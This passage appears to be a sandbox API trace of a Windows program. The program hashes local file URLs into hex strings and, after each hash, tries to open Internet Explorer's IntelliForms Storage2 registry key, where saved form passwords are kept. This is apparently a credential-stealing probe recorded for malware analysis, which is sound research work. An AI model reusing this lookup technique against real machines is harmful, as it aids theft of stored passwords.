param_1=0x12fe68, param_2="%02X" | out: param_1="FC") returned 2 [0078.021] lstrlenA (lpString="038968BE5920") returned 12 [0078.021] lstrlenA (lpString="FC") returned 2 [0078.021] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x65a9b0 [0078.021] lstrcpyA (in: lpString1=0x65a9b0, lpString2="038968BE5920" | out: lpString1="038968BE5920") returned="038968BE5920" [0078.021] lstrcatA (in: lpString1="038968BE5920", lpString2="FC" | out: lpString1="038968BE5920FC") returned="038968BE5920FC" [0078.021] LocalFree (hMem=0x65a918) returned 0x0 [0078.021] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5C") returned 2 [0078.021] lstrlenA (lpString="038968BE5920FC") returned 14 [0078.021] lstrlenA (lpString="5C") returned 2 [0078.021] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65aa48 [0078.021] lstrcpyA (in: lpString1=0x65aa48, lpString2="038968BE5920FC" | out: lpString1="038968BE5920FC") returned="038968BE5920FC" [0078.021] lstrcatA (in: lpString1="038968BE5920FC", lpString2="5C" | out: lpString1="038968BE5920FC5C") returned="038968BE5920FC5C" [0078.021] LocalFree (hMem=0x65a9b0) returned 0x0 [0078.021] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="DA") returned 2 [0078.021] lstrlenA (lpString="038968BE5920FC5C") returned 16 [0078.021] lstrlenA (lpString="DA") returned 2 [0078.021] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65a918 [0078.021] lstrcpyA (in: lpString1=0x65a918, lpString2="038968BE5920FC5C" | out: lpString1="038968BE5920FC5C") returned="038968BE5920FC5C" [0078.021] lstrcatA (in: lpString1="038968BE5920FC5C", lpString2="DA" | out: lpString1="038968BE5920FC5CDA") returned="038968BE5920FC5CDA" [0078.021] LocalFree (hMem=0x65aa48) returned 0x0 [0078.021] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="2C") returned 2 [0078.021] lstrlenA (lpString="038968BE5920FC5CDA") returned 18 [0078.021] lstrlenA (lpString="2C") returned 2 [0078.021] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65a9b8 [0078.021] lstrcpyA (in: lpString1=0x65a9b8, lpString2="038968BE5920FC5CDA" | out: lpString1="038968BE5920FC5CDA") returned="038968BE5920FC5CDA" [0078.021] lstrcatA (in: lpString1="038968BE5920FC5CDA", lpString2="2C" | out: lpString1="038968BE5920FC5CDA2C") returned="038968BE5920FC5CDA2C" [0078.022] LocalFree (hMem=0x65a918) returned 0x0 [0078.022] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="78") returned 2 [0078.022] lstrlenA (lpString="038968BE5920FC5CDA2C") returned 20 [0078.022] lstrlenA (lpString="78") returned 2 [0078.022] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65a918 [0078.022] lstrcpyA (in: lpString1=0x65a918, lpString2="038968BE5920FC5CDA2C" | out: lpString1="038968BE5920FC5CDA2C") returned="038968BE5920FC5CDA2C" [0078.022] lstrcatA (in: lpString1="038968BE5920FC5CDA2C", lpString2="78" | out: lpString1="038968BE5920FC5CDA2C78") returned="038968BE5920FC5CDA2C78" [0078.022] LocalFree (hMem=0x65a9b8) returned 0x0 [0078.022] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="44") returned 2 [0078.022] lstrlenA (lpString="038968BE5920FC5CDA2C78") returned 22 [0078.022] lstrlenA (lpString="44") returned 2 [0078.022] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652968 [0078.022] lstrcpyA (in: lpString1=0x652968, lpString2="038968BE5920FC5CDA2C78" | out: lpString1="038968BE5920FC5CDA2C78") returned="038968BE5920FC5CDA2C78" [0078.022] lstrcatA (in: lpString1="038968BE5920FC5CDA2C78", lpString2="44" | out: lpString1="038968BE5920FC5CDA2C7844") returned="038968BE5920FC5CDA2C7844" [0078.022] LocalFree (hMem=0x65a918) returned 0x0 [0078.022] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="80") returned 2 [0078.022] lstrlenA (lpString="038968BE5920FC5CDA2C7844") returned 24 [0078.022] lstrlenA (lpString="80") returned 2 [0078.022] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652b60 [0078.022] lstrcpyA (in: lpString1=0x652b60, lpString2="038968BE5920FC5CDA2C7844" | out: lpString1="038968BE5920FC5CDA2C7844") returned="038968BE5920FC5CDA2C7844" [0078.022] lstrcatA (in: lpString1="038968BE5920FC5CDA2C7844", lpString2="80" | out: lpString1="038968BE5920FC5CDA2C784480") returned="038968BE5920FC5CDA2C784480" [0078.022] LocalFree (hMem=0x652968) returned 0x0 [0078.022] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="20") returned 2 [0078.022] lstrlenA (lpString="038968BE5920FC5CDA2C784480") returned 26 [0078.022] lstrlenA (lpString="20") returned 2 [0078.022] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652968 [0078.022] lstrcpyA (in: lpString1=0x652968, lpString2="038968BE5920FC5CDA2C784480" | out: lpString1="038968BE5920FC5CDA2C784480") returned="038968BE5920FC5CDA2C784480" [0078.022] lstrcatA (in: lpString1="038968BE5920FC5CDA2C784480", lpString2="20" | out: lpString1="038968BE5920FC5CDA2C78448020") returned="038968BE5920FC5CDA2C78448020" [0078.022] LocalFree (hMem=0x652b60) returned 0x0 [0078.022] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="05") returned 2 [0078.022] lstrlenA (lpString="038968BE5920FC5CDA2C78448020") returned 28 [0078.022] lstrlenA (lpString="05") returned 2 [0078.022] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652b60 [0078.022] lstrcpyA (in: lpString1=0x652b60, lpString2="038968BE5920FC5CDA2C78448020" | out: lpString1="038968BE5920FC5CDA2C78448020") returned="038968BE5920FC5CDA2C78448020" [0078.022] lstrcatA (in: lpString1="038968BE5920FC5CDA2C78448020", lpString2="05" | out: lpString1="038968BE5920FC5CDA2C7844802005") returned="038968BE5920FC5CDA2C7844802005" [0078.022] LocalFree (hMem=0x652968) returned 0x0 [0078.022] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="52") returned 2 [0078.022] lstrlenA (lpString="038968BE5920FC5CDA2C7844802005") returned 30 [0078.022] lstrlenA (lpString="52") returned 2 [0078.022] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0078.022] lstrcpyA (in: lpString1=0x6293a8, lpString2="038968BE5920FC5CDA2C7844802005" | out: lpString1="038968BE5920FC5CDA2C7844802005") returned="038968BE5920FC5CDA2C7844802005" [0078.022] lstrcatA (in: lpString1="038968BE5920FC5CDA2C7844802005", lpString2="52" | out: lpString1="038968BE5920FC5CDA2C784480200552") returned="038968BE5920FC5CDA2C784480200552" [0078.023] LocalFree (hMem=0x652b60) returned 0x0 [0078.023] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="54") returned 2 [0078.023] lstrlenA (lpString="038968BE5920FC5CDA2C784480200552") returned 32 [0078.023] lstrlenA (lpString="54") returned 2 [0078.023] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0078.023] lstrcpyA (in: lpString1=0x6292f8, lpString2="038968BE5920FC5CDA2C784480200552" | out: lpString1="038968BE5920FC5CDA2C784480200552") returned="038968BE5920FC5CDA2C784480200552" [0078.023] lstrcatA (in: lpString1="038968BE5920FC5CDA2C784480200552", lpString2="54" | out: lpString1="038968BE5920FC5CDA2C78448020055254") returned="038968BE5920FC5CDA2C78448020055254" [0078.023] LocalFree (hMem=0x6293a8) returned 0x0 [0078.023] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9B") returned 2 [0078.023] lstrlenA (lpString="038968BE5920FC5CDA2C78448020055254") returned 34 [0078.023] lstrlenA (lpString="9B") returned 2 [0078.023] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0078.023] lstrcpyA (in: lpString1=0x6293a8, lpString2="038968BE5920FC5CDA2C78448020055254" | out: lpString1="038968BE5920FC5CDA2C78448020055254") returned="038968BE5920FC5CDA2C78448020055254" [0078.023] lstrcatA (in: lpString1="038968BE5920FC5CDA2C78448020055254", lpString2="9B" | out: lpString1="038968BE5920FC5CDA2C784480200552549B") returned="038968BE5920FC5CDA2C784480200552549B" [0078.023] LocalFree (hMem=0x6292f8) returned 0x0 [0078.024] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="1D") returned 2 [0078.026] lstrlenA (lpString="038968BE5920FC5CDA2C784480200552549B") returned 36 [0078.026] lstrlenA (lpString="1D") returned 2 [0078.026] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0078.026] lstrcpyA (in: lpString1=0x6292f8, lpString2="038968BE5920FC5CDA2C784480200552549B" | out: lpString1="038968BE5920FC5CDA2C784480200552549B") returned="038968BE5920FC5CDA2C784480200552549B" [0078.026] lstrcatA (in: lpString1="038968BE5920FC5CDA2C784480200552549B", lpString2="1D" | out: lpString1="038968BE5920FC5CDA2C784480200552549B1D") returned="038968BE5920FC5CDA2C784480200552549B1D" [0078.026] LocalFree (hMem=0x6293a8) returned 0x0 [0078.026] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B1") returned 2 [0078.026] lstrlenA (lpString="038968BE5920FC5CDA2C784480200552549B1D") returned 38 [0078.026] lstrlenA (lpString="B1") returned 2 [0078.026] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647a00 [0078.026] lstrcpyA (in: lpString1=0x647a00, lpString2="038968BE5920FC5CDA2C784480200552549B1D" | out: lpString1="038968BE5920FC5CDA2C784480200552549B1D") returned="038968BE5920FC5CDA2C784480200552549B1D" [0078.026] lstrcatA (in: lpString1="038968BE5920FC5CDA2C784480200552549B1D", lpString2="B1" | out: lpString1="038968BE5920FC5CDA2C784480200552549B1DB1") returned="038968BE5920FC5CDA2C784480200552549B1DB1" [0078.026] LocalFree (hMem=0x6292f8) returned 0x0 [0078.026] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F9") returned 2 [0078.026] lstrlenA (lpString="038968BE5920FC5CDA2C784480200552549B1DB1") returned 40 [0078.026] lstrlenA (lpString="F9") returned 2 [0078.026] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647890 [0078.026] lstrcpyA (in: lpString1=0x647890, lpString2="038968BE5920FC5CDA2C784480200552549B1DB1" | out: lpString1="038968BE5920FC5CDA2C784480200552549B1DB1") returned="038968BE5920FC5CDA2C784480200552549B1DB1" [0078.026] lstrcatA (in: lpString1="038968BE5920FC5CDA2C784480200552549B1DB1", lpString2="F9" | out: lpString1="038968BE5920FC5CDA2C784480200552549B1DB1F9") returned="038968BE5920FC5CDA2C784480200552549B1DB1F9" [0078.026] LocalFree (hMem=0x647a00) returned 0x0 [0078.026] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.026] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.026] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.026] LocalFree (hMem=0x647890) returned 0x0 [0078.026] CoTaskMemFree (pv=0x65a888) [0078.027] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/w9CaZahKDJqsLzF11/IYYB.bmp", lpSrch="?") returned 0x0 [0078.027] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/w9CaZahKDJqsLzF11/IYYB.bmp") returned 76 [0078.027] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="DD") returned 2 [0078.027] lstrlenA (lpString="") returned 0 [0078.027] lstrlenA (lpString="DD") returned 2 [0078.027] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x65a920 [0078.027] lstrcpyA (in: lpString1=0x65a920, lpString2="" | out: lpString1="") returned="" [0078.027] lstrcatA (in: lpString1="", lpString2="DD" | out: lpString1="DD") returned="DD" [0078.027] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FB") returned 2 [0078.027] lstrlenA (lpString="DD") returned 2 [0078.027] lstrlenA (lpString="FB") returned 2 [0078.027] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x65aa80 [0078.027] lstrcpyA (in: lpString1=0x65aa80, lpString2="DD" | out: lpString1="DD") returned="DD" [0078.027] lstrcatA (in: lpString1="DD", lpString2="FB" | out: lpString1="DDFB") returned="DDFB" [0078.027] LocalFree (hMem=0x65a920) returned 0x0 [0078.027] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="06") returned 2 [0078.027] lstrlenA (lpString="DDFB") returned 4 [0078.027] lstrlenA (lpString="06") returned 2 [0078.027] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x65a920 [0078.027] lstrcpyA (in: lpString1=0x65a920, lpString2="DDFB" | out: lpString1="DDFB") returned="DDFB" [0078.027] lstrcatA (in: lpString1="DDFB", lpString2="06" | out: lpString1="DDFB06") returned="DDFB06" [0078.027] LocalFree (hMem=0x65aa80) returned 0x0 [0078.027] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="76") returned 2 [0078.027] lstrlenA (lpString="DDFB06") returned 6 [0078.027] lstrlenA (lpString="76") returned 2 [0078.027] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x664350 [0078.027] lstrcpyA (in: lpString1=0x664350, lpString2="DDFB06" | out: lpString1="DDFB06") returned="DDFB06" [0078.028] lstrcatA (in: lpString1="DDFB06", lpString2="76" | out: lpString1="DDFB0676") returned="DDFB0676" [0078.028] LocalFree (hMem=0x65a920) returned 0x0 [0078.028] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3F") returned 2 [0078.028] lstrlenA (lpString="DDFB0676") returned 8 [0078.028] lstrlenA (lpString="3F") returned 2 [0078.028] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x6643e8 [0078.028] lstrcpyA (in: lpString1=0x6643e8, lpString2="DDFB0676" | out: lpString1="DDFB0676") returned="DDFB0676" [0078.028] lstrcatA (in: lpString1="DDFB0676", lpString2="3F" | out: lpString1="DDFB06763F") returned="DDFB06763F" [0078.028] LocalFree (hMem=0x664350) returned 0x0 [0078.028] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B6") returned 2 [0078.028] lstrlenA (lpString="DDFB06763F") returned 10 [0078.028] lstrlenA (lpString="B6") returned 2 [0078.028] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664350 [0078.028] lstrcpyA (in: lpString1=0x664350, lpString2="DDFB06763F" | out: lpString1="DDFB06763F") returned="DDFB06763F" [0078.028] lstrcatA (in: lpString1="DDFB06763F", lpString2="B6" | out: lpString1="DDFB06763FB6") returned="DDFB06763FB6" [0078.028] LocalFree (hMem=0x6643e8) returned 0x0 [0078.028] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B9") returned 2 [0078.028] lstrlenA (lpString="DDFB06763FB6") returned 12 [0078.028] lstrlenA (lpString="B9") returned 2 [0078.028] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x6643e8 [0078.028] lstrcpyA (in: lpString1=0x6643e8, lpString2="DDFB06763FB6" | out: lpString1="DDFB06763FB6") returned="DDFB06763FB6" [0078.028] lstrcatA (in: lpString1="DDFB06763FB6", lpString2="B9" | out: lpString1="DDFB06763FB6B9") returned="DDFB06763FB6B9" [0078.028] LocalFree (hMem=0x664350) returned 0x0 [0078.028] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="0A") returned 2 [0078.028] lstrlenA (lpString="DDFB06763FB6B9") returned 14 [0078.028] lstrlenA (lpString="0A") returned 2 [0078.028] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65a920 [0078.028] lstrcpyA (in: lpString1=0x65a920, lpString2="DDFB06763FB6B9" | out: lpString1="DDFB06763FB6B9") returned="DDFB06763FB6B9" [0078.028] lstrcatA (in: lpString1="DDFB06763FB6B9", lpString2="0A" | out: lpString1="DDFB06763FB6B90A") returned="DDFB06763FB6B90A" [0078.028] LocalFree (hMem=0x6643e8) returned 0x0 [0078.028] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="1D") returned 2 [0078.028] lstrlenA (lpString="DDFB06763FB6B90A") returned 16 [0078.028] lstrlenA (lpString="1D") returned 2 [0078.028] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65aa80 [0078.028] lstrcpyA (in: lpString1=0x65aa80, lpString2="DDFB06763FB6B90A" | out: lpString1="DDFB06763FB6B90A") returned="DDFB06763FB6B90A" [0078.028] lstrcatA (in: lpString1="DDFB06763FB6B90A", lpString2="1D" | out: lpString1="DDFB06763FB6B90A1D") returned="DDFB06763FB6B90A1D" [0078.028] LocalFree (hMem=0x65a920) returned 0x0 [0078.028] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="0A") returned 2 [0078.028] lstrlenA (lpString="DDFB06763FB6B90A1D") returned 18 [0078.028] lstrlenA (lpString="0A") returned 2 [0078.029] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65a920 [0078.029] lstrcpyA (in: lpString1=0x65a920, lpString2="DDFB06763FB6B90A1D" | out: lpString1="DDFB06763FB6B90A1D") returned="DDFB06763FB6B90A1D" [0078.029] lstrcatA (in: lpString1="DDFB06763FB6B90A1D", lpString2="0A" | out: lpString1="DDFB06763FB6B90A1D0A") returned="DDFB06763FB6B90A1D0A" [0078.029] LocalFree (hMem=0x65aa80) returned 0x0 [0078.029] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A1") returned 2 [0078.029] lstrlenA (lpString="DDFB06763FB6B90A1D0A") returned 20 [0078.029] lstrlenA (lpString="A1") returned 2 [0078.029] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65aa80 [0078.029] lstrcpyA (in: lpString1=0x65aa80, lpString2="DDFB06763FB6B90A1D0A" | out: lpString1="DDFB06763FB6B90A1D0A") returned="DDFB06763FB6B90A1D0A" [0078.029] lstrcatA (in: lpString1="DDFB06763FB6B90A1D0A", lpString2="A1" | out: lpString1="DDFB06763FB6B90A1D0AA1") returned="DDFB06763FB6B90A1D0AA1" [0078.029] LocalFree (hMem=0x65a920) returned 0x0 [0078.029] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="85") returned 2 [0078.029] lstrlenA (lpString="DDFB06763FB6B90A1D0AA1") returned 22 [0078.029] lstrlenA (lpString="85") returned 2 [0078.029] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652d58 [0078.029] lstrcpyA (in: lpString1=0x652d58, lpString2="DDFB06763FB6B90A1D0AA1" | out: lpString1="DDFB06763FB6B90A1D0AA1") returned="DDFB06763FB6B90A1D0AA1" [0078.029] lstrcatA (in: lpString1="DDFB06763FB6B90A1D0AA1", lpString2="85" | out: lpString1="DDFB06763FB6B90A1D0AA185") returned="DDFB06763FB6B90A1D0AA185" [0078.029] LocalFree (hMem=0x65aa80) returned 0x0 [0078.029] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="8F") returned 2 [0078.029] lstrlenA (lpString="DDFB06763FB6B90A1D0AA185") returned 24 [0078.029] lstrlenA (lpString="8F") returned 2 [0078.029] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652e00 [0078.029] lstrcpyA (in: lpString1=0x652e00, lpString2="DDFB06763FB6B90A1D0AA185" | out: lpString1="DDFB06763FB6B90A1D0AA185") returned="DDFB06763FB6B90A1D0AA185" [0078.029] lstrcatA (in: lpString1="DDFB06763FB6B90A1D0AA185", lpString2="8F" | out: lpString1="DDFB06763FB6B90A1D0AA1858F") returned="DDFB06763FB6B90A1D0AA1858F" [0078.029] LocalFree (hMem=0x652d58) returned 0x0 [0078.029] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="24") returned 2 [0078.029] lstrlenA (lpString="DDFB06763FB6B90A1D0AA1858F") returned 26 [0078.029] lstrlenA (lpString="24") returned 2 [0078.029] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652d58 [0078.029] lstrcpyA (in: lpString1=0x652d58, lpString2="DDFB06763FB6B90A1D0AA1858F" | out: lpString1="DDFB06763FB6B90A1D0AA1858F") returned="DDFB06763FB6B90A1D0AA1858F" [0078.029] lstrcatA (in: lpString1="DDFB06763FB6B90A1D0AA1858F", lpString2="24" | out: lpString1="DDFB06763FB6B90A1D0AA1858F24") returned="DDFB06763FB6B90A1D0AA1858F24" [0078.029] LocalFree (hMem=0x652e00) returned 0x0 [0078.029] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E0") returned 2 [0078.029] lstrlenA (lpString="DDFB06763FB6B90A1D0AA1858F24") returned 28 [0078.029] lstrlenA (lpString="E0") returned 2 [0078.029] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652e00 [0078.029] lstrcpyA (in: lpString1=0x652e00, lpString2="DDFB06763FB6B90A1D0AA1858F24" | out: lpString1="DDFB06763FB6B90A1D0AA1858F24") returned="DDFB06763FB6B90A1D0AA1858F24" [0078.029] lstrcatA (in: lpString1="DDFB06763FB6B90A1D0AA1858F24", lpString2="E0" | out: lpString1="DDFB06763FB6B90A1D0AA1858F24E0") returned="DDFB06763FB6B90A1D0AA1858F24E0" [0078.029] LocalFree (hMem=0x652d58) returned 0x0 [0078.029] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="04") returned 2 [0078.029] lstrlenA (lpString="DDFB06763FB6B90A1D0AA1858F24E0") returned 30 [0078.029] lstrlenA (lpString="04") returned 2 [0078.030] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0078.030] lstrcpyA (in: lpString1=0x6292f8, lpString2="DDFB06763FB6B90A1D0AA1858F24E0" | out: lpString1="DDFB06763FB6B90A1D0AA1858F24E0") returned="DDFB06763FB6B90A1D0AA1858F24E0" [0078.030] lstrcatA (in: lpString1="DDFB06763FB6B90A1D0AA1858F24E0", lpString2="04" | out: lpString1="DDFB06763FB6B90A1D0AA1858F24E004") returned="DDFB06763FB6B90A1D0AA1858F24E004" [0078.030] LocalFree (hMem=0x652e00) returned 0x0 [0078.030] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A8") returned 2 [0078.030] lstrlenA (lpString="DDFB06763FB6B90A1D0AA1858F24E004") returned 32 [0078.030] lstrlenA (lpString="A8") returned 2 [0078.030] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0078.030] lstrcpyA (in: lpString1=0x6293a8, lpString2="DDFB06763FB6B90A1D0AA1858F24E004" | out: lpString1="DDFB06763FB6B90A1D0AA1858F24E004") returned="DDFB06763FB6B90A1D0AA1858F24E004" [0078.030] lstrcatA (in: lpString1="DDFB06763FB6B90A1D0AA1858F24E004", lpString2="A8" | out: lpString1="DDFB06763FB6B90A1D0AA1858F24E004A8") returned="DDFB06763FB6B90A1D0AA1858F24E004A8" [0078.030] LocalFree (hMem=0x6292f8) returned 0x0 [0078.030] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="21") returned 2 [0078.030] lstrlenA (lpString="DDFB06763FB6B90A1D0AA1858F24E004A8") returned 34 [0078.030] lstrlenA (lpString="21") returned 2 [0078.030] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0078.030] lstrcpyA (in: lpString1=0x6292f8, lpString2="DDFB06763FB6B90A1D0AA1858F24E004A8" | out: lpString1="DDFB06763FB6B90A1D0AA1858F24E004A8") returned="DDFB06763FB6B90A1D0AA1858F24E004A8" [0078.030] lstrcatA (in: lpString1="DDFB06763FB6B90A1D0AA1858F24E004A8", lpString2="21" | out: lpString1="DDFB06763FB6B90A1D0AA1858F24E004A821") returned="DDFB06763FB6B90A1D0AA1858F24E004A821" [0078.030] LocalFree (hMem=0x6293a8) returned 0x0 [0078.030] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E2") returned 2 [0078.030] lstrlenA (lpString="DDFB06763FB6B90A1D0AA1858F24E004A821") returned 36 [0078.030] lstrlenA (lpString="E2") returned 2 [0078.030] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0078.030] lstrcpyA (in: lpString1=0x6293a8, lpString2="DDFB06763FB6B90A1D0AA1858F24E004A821" | out: lpString1="DDFB06763FB6B90A1D0AA1858F24E004A821") returned="DDFB06763FB6B90A1D0AA1858F24E004A821" [0078.030] lstrcatA (in: lpString1="DDFB06763FB6B90A1D0AA1858F24E004A821", lpString2="E2" | out: lpString1="DDFB06763FB6B90A1D0AA1858F24E004A821E2") returned="DDFB06763FB6B90A1D0AA1858F24E004A821E2" [0078.030] LocalFree (hMem=0x6292f8) returned 0x0 [0078.030] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="AE") returned 2 [0078.030] lstrlenA (lpString="DDFB06763FB6B90A1D0AA1858F24E004A821E2") returned 38 [0078.030] lstrlenA (lpString="AE") returned 2 [0078.030] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647890 [0078.030] lstrcpyA (in: lpString1=0x647890, lpString2="DDFB06763FB6B90A1D0AA1858F24E004A821E2" | out: lpString1="DDFB06763FB6B90A1D0AA1858F24E004A821E2") returned="DDFB06763FB6B90A1D0AA1858F24E004A821E2" [0078.030] lstrcatA (in: lpString1="DDFB06763FB6B90A1D0AA1858F24E004A821E2", lpString2="AE" | out: lpString1="DDFB06763FB6B90A1D0AA1858F24E004A821E2AE") returned="DDFB06763FB6B90A1D0AA1858F24E004A821E2AE" [0078.030] LocalFree (hMem=0x6293a8) returned 0x0 [0078.030] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="49") returned 2 [0078.030] lstrlenA (lpString="DDFB06763FB6B90A1D0AA1858F24E004A821E2AE") returned 40 [0078.030] lstrlenA (lpString="49") returned 2 [0078.031] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647a00 [0078.031] lstrcpyA (in: lpString1=0x647a00, lpString2="DDFB06763FB6B90A1D0AA1858F24E004A821E2AE" | out: lpString1="DDFB06763FB6B90A1D0AA1858F24E004A821E2AE") returned="DDFB06763FB6B90A1D0AA1858F24E004A821E2AE" [0078.031] lstrcatA (in: lpString1="DDFB06763FB6B90A1D0AA1858F24E004A821E2AE", lpString2="49" | out: lpString1="DDFB06763FB6B90A1D0AA1858F24E004A821E2AE49") returned="DDFB06763FB6B90A1D0AA1858F24E004A821E2AE49" [0078.031] LocalFree (hMem=0x647890) returned 0x0 [0078.031] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.031] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.031] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.031] LocalFree (hMem=0x647a00) returned 0x0 [0078.031] CoTaskMemFree (pv=0x652cb0) [0078.031] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/LpqBcAEKO/1avEWBAc.bmp", lpSrch="?") returned 0x0 [0078.031] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/LpqBcAEKO/1avEWBAc.bmp") returned 72 [0078.033] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6F") returned 2 [0078.033] lstrlenA (lpString="") returned 0 [0078.033] lstrlenA (lpString="6F") returned 2 [0078.033] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x65aa80 [0078.033] lstrcpyA (in: lpString1=0x65aa80, lpString2="" | out: lpString1="") returned="" [0078.033] lstrcatA (in: lpString1="", lpString2="6F" | out: lpString1="6F") returned="6F" [0078.033] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F2") returned 2 [0078.033] lstrlenA (lpString="6F") returned 2 [0078.033] lstrlenA (lpString="F2") returned 2 [0078.033] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x65ae10 [0078.033] lstrcpyA (in: lpString1=0x65ae10, lpString2="6F" | out: lpString1="6F") returned="6F" [0078.033] lstrcatA (in: lpString1="6F", lpString2="F2" | out: lpString1="6FF2") returned="6FF2" [0078.033] LocalFree (hMem=0x65aa80) returned 0x0 [0078.033] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="8E") returned 2 [0078.033] lstrlenA (lpString="6FF2") returned 4 [0078.033] lstrlenA (lpString="8E") returned 2 [0078.033] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x65aa80 [0078.033] 